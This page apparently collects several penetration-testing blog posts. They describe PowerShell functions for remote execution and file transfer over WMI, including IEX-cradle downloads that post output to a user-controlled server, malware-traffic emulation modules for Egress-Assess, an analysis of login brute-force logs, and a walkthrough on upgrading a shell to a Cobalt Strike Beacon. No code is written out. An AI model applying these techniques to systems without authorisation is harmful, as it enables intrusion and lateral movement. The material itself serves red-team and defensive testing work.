  • Invoke-CreateShareandExecute – This function creates a network share on the local host.  A user-specified file is then copied into the share and permissions are set for both the file and the share to be accessible by Everyone.  Next, the function uses WMI to call/run the user specified file on the target machine and runs the file via UNC path.  This needs to be run from an elevated command/powershell prompt.
  • Invoke-RemoteScriptWithOutput – This function uses WMI to spawn powershell on a remote machine to download a user-specified powershell script (downloaded using IEX cradle), run the script and post back the function’s/script’s output over HTTPS to a user controlled server.
  • Find-UserSpecifiedFileWMI – This function takes a filename or extension and searches for the location of the file(s) on the remote system.  The path, along with additional information, is returned for any file(s) found matching the search string.
  • Invoke-FileTransferOverWMI – This function uses WMI to upload or download a file from the local system to the target system.  For uploads, the function reads the local file, base64 encodes it, and stores it in the local registry.  It then uses WMI to spawn powershell on the targeted system which connects back to the local system, reads registry value, base64 decodes it, and then writes it to a user specified location on the target system’s disk.

This is essentially my first script I’ve developed in powershell, and I certainly expect to have many “learning moments” on more proper methods of developing these same functions in powershell, so please let me know if I’ve developed something improperly.

Finally, I wouldn’t have been able to write this without the work of multiple other people who’s work I referenced throughout the writing of this script.  Matt Graeber, Chris Campbell, Will Schroeder, Evan Pena, Justin Warner, Matt Nelson, and Chris Ross‘s powershell work served as great references for how to write in powershell, and for working with WMI in powershell.  Thanks for all your guys work and ability to release it for others to use and reference.

Egress-Assess Malware Modules

Christopher Truncer Development, IT Security, Pen Test Techniques , , , , , Leave a comment

Github Link – https://github.com/ChrisTruncer/Egress-Assess

Steve Borosh (@424f424f) and I have been working on adding a new type of module into Egress-Assess for a month or two now. Currently, Egress-Assess lets you exfiltrate faux or real data over a variety of different protocols on both Linux and Windows systems.  However, Steve had the idea to create malware modules for Egress-Assess, and we started working on it.

A major resource that needs to be called out for really helping to push this idea forward is Raphael Mudge with the Malleable C2 Profiles that he created for use with Beacon.  Props to him for adding an awesome capability for Beacon and helping to push the idea of hacking to get caught forward.

We want to be able to allow users to use Egress-Assess to emulate known malware within any network.  We scoured the internet for various sources where companies have documented different network indicators used to identify malware operating over the network.  After a lot of research, we are happy to merge in the following malware modules into Egress-Assess:

Egress-Assess Supported Malware

  • Zeus
  • Darkhotel
  • etumbot
  • putterpanda

The various malware modules use known/documented C2 domains for the host headers (which are randomly selected from a large list of documented domains).  Additionally, if the malware being emulated is using GET/POST requests for C2 comms (which all currently included are), we are then also emulating the malware’s comms via each malware family’s respective method for communicating (custom uri parameters, post request data, etc.).

Ideally, you should now have the ability to generate network traffic that conforms to the respective malware’s documented methodology for C2 comms (for which we have created a module).  If there are any requests for specific pieces of malware that you would like to see added into Egress-Assess, please get in touch with Steve or myself on twitter, e-mail, or create an Issue on Github and let us know what you would like added in.

Veil-Framework and ChristopherTruncer Website Brute Force and Just-Metadata

Christopher Truncer IT Security , Leave a comment

I’ve been monitoring the logs from the Veil-Evasion and this website, and I noticed the past couple days that there’s a lot of attempts to log in to the Veil website. Seeing as I am not logging into it myself, I know that this is obviously going to be someone trying to break in. However, this isn’t an attack where the attacker is trying to remain under the radar, this is pretty blatant.

I’ve parsed my apache logs for any attempt to log into the Veil-Evasion website. This will obviously include my information, but it will be the minority. I ran all IP addresses through Just-Metadata, and this what I think is some of the interesting information it discovered:

Short story, the attacker appears to be coming out of Russia. Note: This doesn’t mean it’s a Russian attacker, just that the IP space they are attacking from appears to be Russian.

Top 10 Countries
(Country : Number of Occurrences)
===================================
Russia : 2699
Ukraine : 249
France : 165
Belarus : 60
Brazil : 46
Kazakhstan : 37
Vietnam : 32
Turkey : 31
Georgia : 25
India : 23

Top 10 Cities
(City : Number of Occurrences)
===================================
Moscow, Russia : 329
Roubaix, France : 159
Saint Petersburg, Russia : 107
Yekaterinburg, Russia : 74
Rostov-on-Don, Russia : 72
Novosibirsk, Russia : 71
Nizhniy Novgorod, Russia : 60
Ufa, Russia : 52
Perm, Russia : 50
Samara, Russia : 50

Continue reading →

Upgrading Your Shells to Beacons

Christopher Truncer Pen Test Techniques , , 1 Comment

It’s an issue we all encounter, we’re operating in a shell and want to upgrade it to something better. For many, this may be Meterpreter which is absolutely a valid choice. Another option I want to explore in this post is upgrading your shell to a Cobalt Strike Beacon.

In this instance, I’m going to cheat by generating a shell callback with Veil-Evasion to simulate operating in a shell and executing it on a VM.

Shell Callback

Now that I have my shell, it’s time to look into upgrading this to something better! First, I’ll need to setup a Beacon listener within Cobalt Strike. This is pretty simple, just select the headphones icon on the top menu and you’ll be presented with the Listener tab. Just select the “Add” button at the bottom and configure your listener as you see fit.

Beacon Listener

Once you’ve created your listener, it’s time to prep for the shell upgrade. I prefer to use Cobalt Strike’s powershell web-delivery feature to upgrade my shell. To set this up, click the powershell icon on the top menu and configure the attack. In this case, I customized the uri to be “upgrade”, I am using the default port 80, and the listener that I want to utilize was pre-selected.

Powershell Web Delivery

Now, just select launch, and you’ll be given the command that you can run on your victim machine.

Powershell One Liner

All you need to do now is just copy and paste this command into your shell, and you should see your beacon calling back!

Beacon Callback

If you have any questions, be sure to let me know! Hop in #Veil on Freenode or hit me up on twitter @ChrisTruncer.